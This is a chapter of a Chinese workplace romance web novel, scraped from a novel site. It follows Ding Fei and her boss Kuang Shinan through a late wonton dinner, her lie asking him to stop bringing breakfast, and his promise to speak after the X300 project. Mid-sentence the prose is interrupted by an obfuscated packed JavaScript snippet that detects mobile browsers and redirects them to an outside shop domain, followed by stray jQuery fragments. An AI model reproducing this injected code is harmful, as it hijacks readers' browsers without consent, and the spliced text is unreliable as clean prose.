文趣网 > 都市小说 > 巧克力先生 > 54. 第 54 章
    丁斐今天一开始的出发点其实很简单,邝时楠心情不好,她手上又正好有两张天文馆特展的票,她只是想带他来看看星空,缓解他的压力,却没想到,一切有些超乎她的预料。

    想到自己刚才兴致勃勃给邝时楠介绍面纱星云的样子,她忽然有点难堪,尤其是思及邝时楠道谢时郑重的眉眼,更是像有块石头堵在心里不上不下。

    她从未想过去触碰邝时楠讳莫如深的过去,更让她难堪的是,她心底还夹杂着一些别的情绪,她说不上来,所以刻意不去深究,可它们还是轻而易举地扰乱了她的心情,直到丁斐上车时也没完全散去。

    邝时楠没察觉到她的异常,神色如常地问:“想吃什么?”

    丁斐闷闷道:“随便,我都可以。”

    她按下了车窗透气。

    邝时楠听出她语气里的不对劲,“发生什么事了?”

    丁斐倏地一惊,她不想让邝时楠看出异样,主要这情绪来得有些没来由,她自己一时之间也没想通。

    “刚才你去开车的时候,我又看了下X300的方案,有点郁闷。”丁斐随便找了个理由。

    邝时楠无奈:“我该说你什么好?”

    丁斐借机撒了心里的那口闷气:“那你什么都别说,我现在心情不好。”

    邝时楠不疑有它,在车里低低叹息了一声,低头在地图上搜索。

    “馄饨吃吗?附近有家老店,从我记事起就开着了,味道还不错。”

    “都行。”

    邝时楠没纠结,驱车前往他口中的老店。

    十几分钟后,两人走进那家名为“汤生馄饨”的店,店面不大,看得出来有些年头,但收拾得很整洁。

    店铺临近打烊,只有吧台后坐着个上了年纪的中年男人,两人一进门,中年男人就盯着邝时楠看了好一会,惊讶起身:“小邝?”

    邝时楠点点头,笑着跟他打招呼:“汤叔,好久不见了。”

    “可有好些年了。”汤老板热情地起身招呼他们,上了年纪发福的眼角笑起来堆满了褶子,看起来格外和善,“我记得你爸妈说你出国了,什么时候回来的?”

    “刚回来不久,想念您这一口馄饨很久了,这不今天刚好有空,趁着还没打烊,赶紧过来了。”

    “你来得赶巧,再晚十分钟我就要关火了。”

    两人熟稔聊着天,丁斐乖巧地站在邝时楠身后,没打扰两人叙旧。

    汤老板问:“还是老样子,三鲜的?”

    “嗯。”邝时楠点点头,脸上神色很轻松,“您还记得呢?”

    “当然,我记性好得很。”汤老板脑袋往邝时楠身后一探,“女朋友也是三鲜的?”

    邝时楠还没来得及开口,丁斐就连忙主动上前一步化解误会:“老板,邝总的女朋友吃三鲜的,我是他的下属,想吃点别的行不行?”

    邝时楠本打算解释,闻言却沉默下来,他目光在丁斐脸上停了一瞬,唇线紧绷。

    “哦哦,”汤老板尴尬地笑了笑,“姑娘,那你想吃什么口味的?我们店里都是现包现卖的,除了三鲜的,鲜肉和芥菜的分别还有一碗,其他的暂时没有了。”

    “哦,那我就要个芥菜馄饨。”

    汤老板笑说:“得嘞,这就给你们下馄饨,先随便找个位置坐。”

    “谢谢老板。”

    汤老板进了后厨,丁斐率先找了个椅子坐下,邝时楠在原地看了她一会,才缓步走到她面前坐下,他淡声说:“刚才汤叔的话,你别放在心上。”

    丁斐连忙摆手:“怎么会,邝总你想多了。”

    邝时楠看着丁斐,视线许久没离开。

    丁斐被他盯着有点不自在,她讪讪一笑,眼睛一会瞄瞄墙面一会看看菜单,后来干脆假装回信息,避开了与邝时楠的对视。

    好在下个馄饨不要多少时间,汤老板很快就把两份馄饨端上桌,终止了两人之间尴尬的气氛。

    馄饨的汤底是骨汤熬的,浓郁喷香,白花花的馄饨上还飘了点鲜葱花点缀,看起来让人特别有食欲。丁斐注意到两碗馄饨上都洒了葱花,下意识就说:“老板,他不吃葱。”

    汤老板一拍脑袋,“我怎么把这茬给忘了,小邝,你等会,我给你换个汤。”

    他说着就把碗又端走了,不多会,汤老板又端着盘子回来了,这次汤上没有葱,只洒了些炸过的蒜蓉。

    邝时楠看见会心一笑。

    丁斐很诧异,“你不吃葱但是吃蒜蓉?”

    “嗯,汤叔家的三鲜馄饨配上蒜蓉很鲜,”邝时楠舀起一个馄饨,很自然地放进丁斐的勺中,“试一下。”

    丁斐愣住,但邝时楠好像并没有意识到这分食有点亲密,已经神色自如地开始吃馄饨了,她只好把邝时楠舀来的馄饨放入口中,咬下去的一瞬间,她眼睛亮了。

    要鲜掉眉毛了!

    她惊讶地抬起头,“好好吃。”

    邝时楠眼底有了柔色,他咽下馄饨,嘴角含笑:“喜欢?”

    丁斐点点头:“嗯。”

    “那以后常带你来吃。”

    “以后”两个字把丁斐砸得不知所措。

    她在这一瞬间,终于意识过来,她和邝时楠的关系好像在朝某种危险的方向发展,而她不知从什么时候开始,已经习惯了他的偏爱。

    理智告诉她这是不对的,可心里的那股未明情绪却怎么也控制不住,丁斐拿着汤勺的手指收紧。

    “不用了邝总,这里离咱们公司太远了,来一趟够费劲的,而且……”

    邝时楠咽下馄饨,“而且什么?”

    丁斐搅着碗里的馄饨,垂眸撒了个谎:“办公室有人看到你给我带早餐了,他们在私下里在讨论我跟你的关系,我觉得影响不好。”

    她顿了顿,又说:“邝总,从明天开始你也别再给我带早餐了。”

    邝时楠嘴角笑意消失,他沉默了良久,用勺子轻轻碰了下碗沿,“你很在意公司里的人怎么看你?”

    “当然,邝总,你是老板,这些话没人敢在你耳边说,但对我来说不一样。”

    “所以你希望以后不要了?”

    邝时楠声音很低,似乎还有点受伤。

    丁斐不敢看他的眼睛,“是。”

    邝时楠目光在她脸上停留了很久,片刻后,他收回视线,淡声说:“知道了。”

    两人安静地吃完馄饨结了账,邝时楠驱车带她回揽庭小区。

    谁也没开口说话,车厢里只有音乐声缓缓流淌。

    丁斐在昏暗中盯着中控台上的X300模型发呆,忽地,放在包上的手机屏幕亮

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732845|204810||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了一下,吸引了她的注意力。

    她拿起手机看了下,有些意外。

    发消息的竟是已经很久没联系的蒋瑶知。

    蒋瑶知:我拿到OW证书了!

    下面附了一张证书图片。

    丁斐由衷地替蒋瑶知高兴:恭喜你,终于得偿所愿。

    蒋瑶知:谢谢。含羞.jpg

    蒋瑶知:米娜说我这次进步很大。

    丁斐诧异:你去布雅岛考的证?

    蒋瑶知:对啊,米娜比较清楚我的情况,我考虑了很久,最终还是回来找她了。

    蒋瑶知:对了,Kevin教练回国了,你知道吗?

    丁斐这下是真怔住了,她回:不知道。

    蒋瑶知:米娜说回去好几个月了。

    蒋瑶知:好像是他家里出了什么事,他家人来把他带走的。

    丁斐握着手机发了好久的愣。

    她此前刻意遗忘的记忆,此刻如海城的春日一样,在她脑中草长莺飞,这些记忆星罗棋布,织就成一个丁斐不愿意相信的答案。

    有点荒唐的答案。

    因为过分荒唐,所以丁斐立马否定了。

    不会的,世界上不会有这么巧的事。

    丁斐握着手机的手,骨节青白,她心绪翻腾地看了眼邝时楠专注开车的侧脸,嘴唇动了动,可最终只是垂下眸,一句话都没说。

    时间不知在丁斐的内心煎熬中过了多久,车子终于缓缓驶进揽庭小区,在她住的五号楼前停下。

    丁斐解开安全带准备下车,却听到邝时楠轻声问:“丁斐,你是不是有什么话要问我?”

    丁斐刚才的欲言又止,邝时楠一直看在眼里,甚至有点隐隐期待她会问点什么,可没想到,她一声不吭地准备下车。

    邝时楠没忍住,这才开了口。

    丁斐浑身一震,解开安全带的手顿住,她咬了咬唇,连忙摇了摇头:“没有。”

    她没敢抬头,但她知道邝时楠在看他。

    “这样。”邝时楠停了下,“我还以为你会想知道我们到底在哪里见过。”

    丁斐抿了抿唇。

    她其实有很多话想问邝时楠,但是她不敢,她害怕答案是她心里想的那个,那她以后和邝时楠又该如何相处?

    丁斐深吸了口气,抬起头,迎上邝时楠的目光:“邝总,知道我们之前在哪里见过,会影响我们现在的工作吗?”

    邝时楠轻声一笑:“那倒不会。”

    车内没开灯,他的神色看不分明,丁斐也庆幸他今天没有如往常那边开灯。

    她松了口气:“既然不影响工作,那就是无关紧要的答案,不是吗?”

    “无关紧要。”邝时楠放在方向盘上的手指收紧,手背绷起青筋,他自嘲笑笑,“是啊。”

    丁斐心脏仿佛被什么东西挠了一下,那种被自己刻意忽视的情绪,此时在逼仄的车厢里发酵,竟隐约有了战胜她的理智的趋势。

    不能再待下去了。

    大脑告诉丁斐必须马上下车,她伸手去推车门,却发现车门纹丝不动,她不解地看向邝时楠,“邝总。”

    邝时楠摁亮了照明灯,他偏头看了她很久,湛黑的眼底浓墨深重。

    “等X300项目结束,我有话跟你说。”